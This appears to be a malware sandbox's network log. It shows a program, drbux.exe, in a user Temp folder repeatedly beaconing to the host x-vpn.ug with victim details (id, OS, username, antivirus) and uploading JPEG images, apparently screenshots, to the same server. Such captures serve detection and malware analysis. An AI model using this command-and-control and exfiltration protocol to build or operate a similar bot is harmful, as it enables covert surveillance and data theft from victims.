Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.6	49937	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:23.801796913 CEST	15722	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:23.801932096 CEST	15722	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:23.802129984 CEST	15732	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:23.802390099 CEST	15735	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:23.885729074 CEST	15738	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:23.886174917 CEST	15741	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:23.886630058 CEST	15746	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:23.887381077 CEST	15749	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:23.888058901 CEST	15754	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:23.889393091 CEST	15758	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:23.889760971 CEST	15761	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:36:24.140336037 CEST	15821	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.6	49938	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:24.032227039 CEST	15812	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:24.112221956 CEST	15820	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:24 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.6	49939	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:24.321002007 CEST	15822	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:24.413594007 CEST	15822	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.6	49940	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:24.421717882 CEST	15822	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:24.421885014 CEST	15823	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:24.422101974 CEST	15833	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:24.422179937 CEST	15835	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:24.576730013 CEST	15836	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:24 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:24.576927900 CEST	15839	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:24.577049017 CEST	15844	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:24.577140093 CEST	15855	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:24.577178955 CEST	15856	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:24.577234983 CEST	15862	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:36:24.659946918 CEST	15868	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:24.660191059 CEST	15878	OUT	Data Raw: 03 ea 2b a3 d3 75 cd 32 cb cc d3 20 d4 ac d2 38 34 67 b4 8a f6 f2 c9 a5 82 59 de e1 65 6f dd 98 dc 94 03 20 6e 4e d9 c0 cd 61 78 82 f2 d2 ff 00 5d 92 e2 cd fc d0 61 89 65 98 2b 2a 4b 2a a0 0c c8 ad ca a1 23 e5 5c 0c 0c 00 14 70 2e 15 66 e6 93 db Data Ascii: +u2 84gYeo nNax]ae+K#\p.f]A77Mmh3`Lgz<$kHn4"O4 0n;=IB7S:0jvAc-l$wLQKcO1hfJOKvv

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.6	49941	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:24.658783913 CEST	15862	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:24.749552965 CEST	15920	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.6	49942	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:24.943337917 CEST	15921	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:25.037709951 CEST	15935	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.6	49943	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:25.028028011 CEST	15922	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:25.028441906 CEST	15922	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:25.028824091 CEST	15932	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:25.029128075 CEST	15935	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:25.126580954 CEST	15938	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:25.126827955 CEST	15941	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:25.127137899 CEST	15943	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:25.127465010 CEST	15946	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:25.127674103 CEST	15949	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:25.127947092 CEST	15951	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:25.128360033 CEST	15954	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:25.440860033 CEST	16020	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.6	49756	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:30.893804073 CEST	2963	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 30 30 30 31 30 30 31 26 75 6e 69 74 3d 31 35 32 31 33 38 35 33 33 32 31 39 Data Ascii: e0=1000001001&unit=152138533219
Jul 19, 2021 18:35:31.010854959 CEST	2964	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

